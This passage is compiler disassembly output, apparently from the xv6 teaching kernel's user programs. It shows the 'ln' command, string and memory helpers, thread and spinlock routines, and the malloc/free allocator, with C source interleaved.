} else p->s.ptr = bp; 837: 89 08 mov %ecx,(%eax) freep = p; 839: a3 60 0e 00 00 mov %eax,0xe60 } 83e: 5b pop %ebx 83f: 5e pop %esi 840: 5f pop %edi 841: c3 ret bp = (Header*) ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 842: 03 72 04 add 0x4(%edx),%esi 845: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 848: 8b 12 mov (%edx),%edx 84a: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 84d: 8b 50 04 mov 0x4(%eax),%edx 850: 8d 34 d0 lea (%eax,%edx,8),%esi 853: 39 f1 cmp %esi,%ecx 855: 75 e0 jne 837 <free+0x47> p->s.size += bp->s.size; 857: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 85a: a3 60 0e 00 00 mov %eax,0xe60 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 85f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 862: 8b 53 f8 mov -0x8(%ebx),%edx 865: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 867: 5b pop %ebx 868: 5e pop %esi 869: 5f pop %edi 86a: c3 ret 86b: 90 nop 86c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000870 <malloc>: return freep; } void* malloc(uint nbytes) { 870: 57 push %edi 871: 56 push %esi 872: 53 push %ebx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 873: 8b 44 24 10 mov 0x10(%esp),%eax if((prevp = freep) == 0){ 877: 8b 15 60 0e 00 00 mov 0xe60,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 87d: 8d 78 07 lea 0x7(%eax),%edi 880: c1 ef 03 shr $0x3,%edi 883: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 886: 85 d2 test %edx,%edx 888: 0f 84 a0 00 00 00 je 92e <malloc+0xbe> 88e: 8b 02 mov (%edx),%eax 890: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 893: 39 cf cmp %ecx,%edi 895: 76 71 jbe 908 <malloc+0x98> 897: 81 ff 00 10 00 00 cmp $0x1000,%edi 89d: be 00 10 00 00 mov $0x1000,%esi 8a2: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 8a9: 0f 43 f7 cmovae %edi,%esi 8ac: ba 00 80 00 00 mov $0x8000,%edx 8b1: 81 ff ff 0f 00 00 cmp $0xfff,%edi 8b7: 0f 46 da cmovbe %edx,%ebx 8ba: eb 0d jmp 8c9 <malloc+0x59> 8bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8c0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 8c2: 8b 48 04 mov 0x4(%eax),%ecx 8c5: 39 cf cmp %ecx,%edi 8c7: 76 3f jbe 908 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*) (p + 1); } if(p == freep) 8c9: 39 05 60 0e 00 00 cmp %eax,0xe60 8cf: 89 c2 mov %eax,%edx 8d1: 75 ed jne 8c0 <malloc+0x50> char *p; Header *hp; if(nu < PAGE) nu = PAGE; p = sbrk(nu * sizeof(Header)); 8d3: 83 ec 0c sub $0xc,%esp 8d6: 53 push %ebx 8d7: e8 9d fc ff ff call 579 <sbrk> if(p == (char*) -1) 8dc: 83 c4 10 add $0x10,%esp 8df: 83 f8 ff cmp $0xffffffff,%eax 8e2: 74 1c je 900 <malloc+0x90> return 0; hp = (Header*)p; hp->s.size = nu; 8e4: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 8e7: 83 ec 0c sub $0xc,%esp 8ea: 83 c0 08 add $0x8,%eax 8ed: 50 push %eax 8ee: e8 fd fe ff ff call 7f0 <free> return freep; 8f3: 8b 15 60 0e 00 00 mov 0xe60,%edx } freep = prevp; return (void*) (p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 8f9: 83 c4 10 add $0x10,%esp 8fc: 85 d2 test %edx,%edx 8fe: 75 c0 jne 8c0 <malloc+0x50> return 0; 900: 31 c0 xor %eax,%eax 902: eb 1c jmp 920 <malloc+0xb0> 904: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 908: 39 cf cmp %ecx,%edi 90a: 74 1c je 928 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 90c: 29 f9 sub %edi,%ecx 90e: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 911: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 914: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 917: 89 15 60 0e 00 00 mov %edx,0xe60 return (void*) (p + 1); 91d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 920: 5b pop %ebx 921: 5e pop %esi 922: 5f pop %edi 923: c3 ret 924: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 928: 8b 08 mov (%eax),%ecx 92a: 89 0a mov %ecx,(%edx) 92c: eb e9 jmp 917 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 92e: c7 05 60 0e 00 00 64 movl $0xe64,0xe60 935: 0e 00 00 938: c7 05 64 0e 00 00 64 movl $0xe64,0xe64 93f: 0e 00 00 base.s.size = 0; 942: b8 64 0e 00 00 mov $0xe64,%eax 947: c7 05 68 0e 00 00 00 movl $0x0,0xe68 94e: 00 00 00 951: e9 41 ff ff ff jmp 897 <malloc+0x27>
_ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: f3 0f 1e fb endbr32 4: 8d 4c 24 04 lea 0x4(%esp),%ecx 8: 83 e4 f0 and $0xfffffff0,%esp b: ff 71 fc pushl -0x4(%ecx) if(argc != 3){ e: 83 39 03 cmpl $0x3,(%ecx) { 11: 55 push %ebp 12: 89 e5 mov %esp,%ebp 14: 53 push %ebx 15: 51 push %ecx 16: 8b 59 04 mov 0x4(%ecx),%ebx if(argc != 3){ 19: 74 13 je 2e <main+0x2e> printf(2, "Usage: ln old new\n"); 1b: 52 push %edx 1c: 52 push %edx 1d: 68 48 08 00 00 push $0x848 22: 6a 02 push $0x2 24: e8 57 06 00 00 call 680 <printf> exit(); 29: e8 df 04 00 00 call 50d <exit> } if(link(argv[1], argv[2]) < 0) 2e: 50 push %eax 2f: 50 push %eax 30: ff 73 08 pushl 0x8(%ebx) 33: ff 73 04 pushl 0x4(%ebx) 36: e8 32 05 00 00 call 56d <link> 3b: 83 c4 10 add $0x10,%esp 3e: 85 c0 test %eax,%eax 40: 78 05 js 47 <main+0x47> printf(2, "link %s %s: failed\n", argv[1], argv[2]); exit(); 42: e8 c6 04 00 00 call 50d <exit> printf(2, "link %s %s: failed\n", argv[1], argv[2]); 47: ff 73 08 pushl 0x8(%ebx) 4a: ff 73 04 pushl 0x4(%ebx) 4d: 68 5b 08 00 00 push $0x85b 52: 6a 02 push $0x2 54: e8 27 06 00 00 call 680 <printf> 59: 83 c4 10 add $0x10,%esp 5c: eb e4 jmp 42 <main+0x42> 5e: 66 90 xchg %ax,%ax 00000060 <strcpy>: }; char* strcpy(char *s, const char *t) { 60: f3 0f 1e fb endbr32 64: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 65: 31 c0 xor %eax,%eax { 67: 89 e5 mov %esp,%ebp 69: 53 push %ebx 6a: 8b 4d 08 mov 0x8(%ebp),%ecx 6d: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 70: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 74: 88 14 01 mov %dl,(%ecx,%eax,1) 77: 83 c0 01 add $0x1,%eax 7a: 84 d2 test %dl,%dl 7c: 75 f2 jne 70 <strcpy+0x10> ; return os; } 7e: 89 c8 mov %ecx,%eax 80: 5b pop %ebx 81: 5d pop %ebp 82: c3 ret 83: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000090 <strcmp>: int strcmp(const char *p, const char *q) { 90: f3 0f 1e fb endbr32 94: 55 push %ebp 95: 89 e5 mov %esp,%ebp 97: 53 push %ebx 98: 8b 4d 08 mov 0x8(%ebp),%ecx 9b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 9e: 0f b6 01 movzbl (%ecx),%eax a1: 0f b6 1a movzbl (%edx),%ebx a4: 84 c0 test %al,%al a6: 75 19 jne c1 <strcmp+0x31> a8: eb 26 jmp d0 <strcmp+0x40> aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi b0: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; b4: 83 c1 01 add $0x1,%ecx b7: 83 c2 01 add $0x1,%edx while(*p && *p == *q) ba: 0f b6 1a movzbl (%edx),%ebx bd: 84 c0 test %al,%al bf: 74 0f je d0 <strcmp+0x40> c1: 38 d8 cmp %bl,%al c3: 74 eb je b0 <strcmp+0x20> return (uchar)*p - (uchar)*q; c5: 29 d8 sub %ebx,%eax } c7: 5b pop %ebx c8: 5d pop %ebp c9: c3 ret ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi d0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; d2: 29 d8 sub %ebx,%eax } d4: 5b pop %ebx d5: 5d pop %ebp d6: c3 ret d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi de: 66 90 xchg %ax,%ax 000000e0 <strlen>: uint strlen(const char *s) { e0: f3 0f 1e fb endbr32 e4: 55 push %ebp e5: 89 e5 mov %esp,%ebp e7: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) ea: 80 3a 00 cmpb $0x0,(%edx) ed: 74 21 je 110 <strlen+0x30> ef: 31 c0 xor %eax,%eax f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f8: 83 c0 01 add $0x1,%eax fb: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) ff: 89 c1 mov %eax,%ecx 101: 75 f5 jne f8 <strlen+0x18> ; return n; } 103: 89 c8 mov %ecx,%eax 105: 5d pop %ebp 106: c3 ret 107: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10e: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 110: 31 c9 xor %ecx,%ecx } 112: 5d pop %ebp 113: 89 c8 mov %ecx,%eax 115: c3 ret 116: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 11d: 8d 76 00 lea 0x0(%esi),%esi 00000120 <memset>: void* memset(void *dst, int c, uint n) { 120: f3 0f 1e fb endbr32 124: 55 push %ebp 125: 89 e5 mov %esp,%ebp 127: 57 push %edi 128: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 12b: 8b 4d 10 mov 0x10(%ebp),%ecx 12e: 8b 45 0c mov 0xc(%ebp),%eax 131: 89 d7 mov %edx,%edi 133: fc cld 134: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 136: 89 d0 mov %edx,%eax 138: 5f pop %edi 139: 5d pop %ebp 13a: c3 ret 13b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 13f: 90 nop 00000140 <strchr>: char* strchr(const char *s, char c) { 140: f3 0f 1e fb endbr32 144: 55 push %ebp 145: 89 e5 mov %esp,%ebp 147: 8b 45 08 mov 0x8(%ebp),%eax 14a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 14e: 0f b6 10 movzbl (%eax),%edx 151: 84 d2 test %dl,%dl 153: 75 16 jne 16b <strchr+0x2b> 155: eb 21 jmp 178 <strchr+0x38> 157: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 15e: 66 90 xchg %ax,%ax 160: 0f b6 50 01 movzbl 0x1(%eax),%edx 164: 83 c0 01 add $0x1,%eax 167: 84 d2 test %dl,%dl 169: 74 0d je 178 <strchr+0x38> if(*s == c) 16b: 38 d1 cmp %dl,%cl 16d: 75 f1 jne 160 <strchr+0x20> return (char*)s; return 0; } 16f: 5d pop %ebp 170: c3 ret 171: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 178: 31 c0 xor %eax,%eax } 17a: 5d pop %ebp 17b: c3 ret 17c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000180 <gets>: char* gets(char *buf, int max) { 180: f3 0f 1e fb endbr32 184: 55 push %ebp 185: 89 e5 mov %esp,%ebp 187: 57 push %edi 188: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 189: 31 f6 xor %esi,%esi { 18b: 53 push %ebx 18c: 89 f3 mov %esi,%ebx 18e: 83 ec 1c sub $0x1c,%esp 191: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 194: eb 33 jmp 1c9 <gets+0x49> 196: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 19d: 8d 76 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1a0: 83 ec 04 sub $0x4,%esp 1a3: 8d 45 e7 lea -0x19(%ebp),%eax 1a6: 6a 01 push $0x1 1a8: 50 push %eax 1a9: 6a 00 push $0x0 1ab: e8 75 03 00 00 call 525 <read> if(cc < 1) 1b0: 83 c4 10 add $0x10,%esp 1b3: 85 c0 test %eax,%eax 1b5: 7e 1c jle 1d3 <gets+0x53> break; buf[i++] = c; 1b7: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 1bb: 83 c7 01 add $0x1,%edi 1be: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 1c1: 3c 0a cmp $0xa,%al 1c3: 74 23 je 1e8 <gets+0x68> 1c5: 3c 0d cmp $0xd,%al 1c7: 74 1f je 1e8 <gets+0x68> for(i=0; i+1 < max; ){ 1c9: 83 c3 01 add $0x1,%ebx 1cc: 89 fe mov %edi,%esi 1ce: 3b 5d 0c cmp 0xc(%ebp),%ebx 1d1: 7c cd jl 1a0 <gets+0x20> 1d3: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 1d5: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 1d8: c6 03 00 movb $0x0,(%ebx) } 1db: 8d 65 f4 lea -0xc(%ebp),%esp 1de: 5b pop %ebx 1df: 5e pop %esi 1e0: 5f pop %edi 1e1: 5d pop %ebp 1e2: c3 ret 1e3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1e7: 90 nop 1e8: 8b 75 08 mov 0x8(%ebp),%esi 1eb: 8b 45 08 mov 0x8(%ebp),%eax 1ee: 01 de add %ebx,%esi 1f0: 89 f3 mov %esi,%ebx buf[i] = '\0'; 1f2: c6 03 00 movb $0x0,(%ebx) } 1f5: 8d 65 f4 lea -0xc(%ebp),%esp 1f8: 5b pop %ebx 1f9: 5e pop %esi 1fa: 5f pop %edi 1fb: 5d pop %ebp 1fc: c3 ret 1fd: 8d 76 00 lea 0x0(%esi),%esi 00000200 <stat>: int stat(const char *n, struct stat *st) { 200: f3 0f 1e fb endbr32 204: 55 push %ebp 205: 89 e5 mov %esp,%ebp 207: 56 push %esi 208: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 209: 83 ec 08 sub $0x8,%esp 20c: 6a 00 push $0x0 20e: ff 75 08 pushl 0x8(%ebp) 211: e8 37 03 00 00 call 54d <open> if(fd < 0) 216: 83 c4 10 add $0x10,%esp 219: 85 c0 test %eax,%eax 21b: 78 2b js 248 <stat+0x48> return -1; r = fstat(fd, st); 21d: 83 ec 08 sub $0x8,%esp 220: ff 75 0c pushl 0xc(%ebp) 223: 89 c3 mov %eax,%ebx 225: 50 push %eax 226: e8 3a 03 00 00 call 565 <fstat> close(fd); 22b: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 22e: 89 c6 mov %eax,%esi close(fd); 230: e8 00 03 00 00 call 535 <close> return r; 235: 83 c4 10 add $0x10,%esp } 238: 8d 65 f8 lea -0x8(%ebp),%esp 23b: 89 f0 mov %esi,%eax 23d: 5b pop %ebx 23e: 5e pop %esi 23f: 5d pop %ebp 240: c3 ret 241: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 248: be ff ff ff ff mov $0xffffffff,%esi 24d: eb e9 jmp 238 <stat+0x38> 24f: 90 nop 00000250 <atoi>: int atoi(const char *s) { 250: f3 0f 1e fb endbr32 254: 55 push %ebp 255: 89 e5 mov %esp,%ebp 257: 53 push %ebx 258: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 25b: 0f be 02 movsbl (%edx),%eax 25e: 8d 48 d0 lea -0x30(%eax),%ecx 261: 80 f9 09 cmp $0x9,%cl n = 0; 264: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 269: 77 1a ja 285 <atoi+0x35> 26b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 26f: 90 nop n = n*10 + *s++ - '0'; 270: 83 c2 01 add $0x1,%edx 273: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 276: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 27a: 0f be 02 movsbl (%edx),%eax 27d: 8d 58 d0 lea -0x30(%eax),%ebx 280: 80 fb 09 cmp $0x9,%bl 283: 76 eb jbe 270 <atoi+0x20> return n; } 285: 89 c8 mov %ecx,%eax 287: 5b pop %ebx 288: 5d pop %ebp 289: c3 ret 28a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000290 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 290: f3 0f 1e fb endbr32 294: 55 push %ebp 295: 89 e5 mov %esp,%ebp 297: 57 push %edi 298: 8b 45 10 mov 0x10(%ebp),%eax 29b: 8b 55 08 mov 0x8(%ebp),%edx 29e: 56 push %esi 29f: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 2a2: 85 c0 test %eax,%eax 2a4: 7e 0f jle 2b5 <memmove+0x25> 2a6: 01 d0 add %edx,%eax dst = vdst; 2a8: 89 d7 mov %edx,%edi 2aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 2b0: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 2b1: 39 f8 cmp %edi,%eax 2b3: 75 fb jne 2b0 <memmove+0x20> return vdst; } 2b5: 5e pop %esi 2b6: 89 d0 mov %edx,%eax 2b8: 5f pop %edi 2b9: 5d pop %ebp 2ba: c3 ret 2bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2bf: 90 nop 000002c0 <thread_join>: void* stack; stack =malloc(4096); //pgsize return clone(start_routine,arg1,arg2,stack); } int thread_join() { 2c0: f3 0f 1e fb endbr32 2c4: 55 push %ebp 2c5: 89 e5 mov %esp,%ebp 2c7: 83 ec 24 sub $0x24,%esp void * stackPtr; int x = join(&stackPtr); 2ca: 8d 45 f4 lea -0xc(%ebp),%eax 2cd: 50 push %eax 2ce: e8 f2 02 00 00 call 5c5 <join> return x; } 2d3: c9 leave 2d4: c3 ret 2d5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 2dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000002e0 <lock_init>: void lock_init(struct lock_t *lk){ 2e0: f3 0f 1e fb endbr32 2e4: 55 push %ebp 2e5: 89 e5 mov %esp,%ebp lk->locked=0; //intialize as unnlocked 2e7: 8b 45 08 mov 0x8(%ebp),%eax 2ea: c7 00 00 00 00 00 movl $0x0,(%eax) } 2f0: 5d pop %ebp 2f1: c3 ret 2f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 2f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000300 <lock_acquire>: void lock_acquire(struct lock_t *lk){ 300: f3 0f 1e fb endbr32 304: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 305: b9 01 00 00 00 mov $0x1,%ecx 30a: 89 e5 mov %esp,%ebp 30c: 8b 55 08 mov 0x8(%ebp),%edx 30f: 90 nop 310: 89 c8 mov %ecx,%eax 312: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked,1) != 0); 315: 85 c0 test %eax,%eax 317: 75 f7 jne 310 <lock_acquire+0x10> } 319: 5d pop %ebp 31a: c3 ret 31b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 31f: 90 nop 00000320 <lock_release>: void lock_release(struct lock_t *lk){ 320: f3 0f 1e fb endbr32 324: 55 push %ebp 325: 31 c0 xor %eax,%eax 327: 89 e5 mov %esp,%ebp 329: 8b 55 08 mov 0x8(%ebp),%edx 32c: f0 87 02 lock xchg %eax,(%edx) xchg(&lk->locked,0) ; } 32f: 5d pop %ebp 330: c3 ret 331: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 338: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 33f: 90 nop 00000340 <free>: static Header base; static Header *freep; void free(void *ap) { 340: f3 0f 1e fb endbr32 344: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 345: a1 c4 0b 00 00 mov 0xbc4,%eax { 34a: 89 e5 mov %esp,%ebp 34c: 57 push %edi 34d: 56 push %esi 34e: 53 push %ebx 34f: 8b 5d 08 mov 0x8(%ebp),%ebx 352: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 354: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 357: 39 c8 cmp %ecx,%eax 359: 73 15 jae 370 <free+0x30> 35b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 35f: 90 nop 360: 39 d1 cmp %edx,%ecx 362: 72 14 jb 378 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 364: 39 d0 cmp %edx,%eax 366: 73 10 jae 378 <free+0x38> { 368: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 36a: 8b 10 mov (%eax),%edx 36c: 39 c8 cmp %ecx,%eax 36e: 72 f0 jb 360 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 370: 39 d0 cmp %edx,%eax 372: 72 f4 jb 368 <free+0x28> 374: 39 d1 cmp %edx,%ecx 376: 73 f0 jae 368 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 378: 8b 73 fc mov -0x4(%ebx),%esi 37b: 8d 3c f1 lea (%ecx,%esi,8),%edi 37e: 39 fa cmp %edi,%edx 380: 74 1e je 3a0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 382: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 385: 8b 50 04 mov 0x4(%eax),%edx 388: 8d 34 d0 lea (%eax,%edx,8),%esi 38b: 39 f1 cmp %esi,%ecx 38d: 74 28 je 3b7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 38f: 89 08 mov %ecx,(%eax) freep = p; } 391: 5b pop %ebx freep = p; 392: a3 c4 0b 00 00 mov %eax,0xbc4 } 397: 5e pop %esi 398: 5f pop %edi 399: 5d pop %ebp 39a: c3 ret 39b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 39f: 90 nop bp->s.size += p->s.ptr->s.size; 3a0: 03 72 04 add 0x4(%edx),%esi 3a3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 3a6: 8b 10 mov (%eax),%edx 3a8: 8b 12 mov (%edx),%edx 3aa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 3ad: 8b 50 04 mov 0x4(%eax),%edx 3b0: 8d 34 d0 lea (%eax,%edx,8),%esi 3b3: 39 f1 cmp %esi,%ecx 3b5: 75 d8 jne 38f <free+0x4f> p->s.size += bp->s.size; 3b7: 03 53 fc add -0x4(%ebx),%edx freep = p; 3ba: a3 c4 0b 00 00 mov %eax,0xbc4 p->s.size += bp->s.size; 3bf: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 3c2: 8b 53 f8 mov -0x8(%ebx),%edx 3c5: 89 10 mov %edx,(%eax) } 3c7: 5b pop %ebx 3c8: 5e pop %esi 3c9: 5f pop %edi 3ca: 5d pop %ebp 3cb: c3 ret 3cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000003d0 <malloc>: return freep; } void* malloc(uint nbytes) { 3d0: f3 0f 1e fb endbr32 3d4: 55 push %ebp 3d5: 89 e5 mov %esp,%ebp 3d7: 57 push %edi 3d8: 56 push %esi 3d9: 53 push %ebx 3da: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 3dd: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 3e0: 8b 3d c4 0b 00 00 mov 0xbc4,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 3e6: 8d 70 07 lea 0x7(%eax),%esi 3e9: c1 ee 03 shr $0x3,%esi 3ec: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 3ef: 85 ff test %edi,%edi 3f1: 0f 84 a9 00 00 00 je 4a0 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 3f7: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 3f9: 8b 48 04 mov 0x4(%eax),%ecx 3fc: 39 f1 cmp %esi,%ecx 3fe: 73 6d jae 46d <malloc+0x9d> 400: 81 fe 00 10 00 00 cmp $0x1000,%esi 406: bb 00 10 00 00 mov $0x1000,%ebx 40b: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 40e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 415: 89 4d e4 mov %ecx,-0x1c(%ebp) 418: eb 17 jmp 431 <malloc+0x61> 41a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 420: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 422: 8b 4a 04 mov 0x4(%edx),%ecx 425: 39 f1 cmp %esi,%ecx 427: 73 4f jae 478 <malloc+0xa8> 429: 8b 3d c4 0b 00 00 mov 0xbc4,%edi 42f: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 431: 39 c7 cmp %eax,%edi 433: 75 eb jne 420 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 435: 83 ec 0c sub $0xc,%esp 438: ff 75 e4 pushl -0x1c(%ebp) 43b: e8 65 01 00 00 call 5a5 <sbrk> if(p == (char*)-1) 440: 83 c4 10 add $0x10,%esp 443: 83 f8 ff cmp $0xffffffff,%eax 446: 74 1b je 463 <malloc+0x93> hp->s.size = nu; 448: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 44b: 83 ec 0c sub $0xc,%esp 44e: 83 c0 08 add $0x8,%eax 451: 50 push %eax 452: e8 e9 fe ff ff call 340 <free> return freep; 457: a1 c4 0b 00 00 mov 0xbc4,%eax if((p = morecore(nunits)) == 0) 45c: 83 c4 10 add $0x10,%esp 45f: 85 c0 test %eax,%eax 461: 75 bd jne 420 <malloc+0x50> return 0; } } 463: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 466: 31 c0 xor %eax,%eax } 468: 5b pop %ebx 469: 5e pop %esi 46a: 5f pop %edi 46b: 5d pop %ebp 46c: c3 ret if(p->s.size >= nunits){ 46d: 89 c2 mov %eax,%edx 46f: 89 f8 mov %edi,%eax 471: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 478: 39 ce cmp %ecx,%esi 47a: 74 54 je 4d0 <malloc+0x100> p->s.size -= nunits; 47c: 29 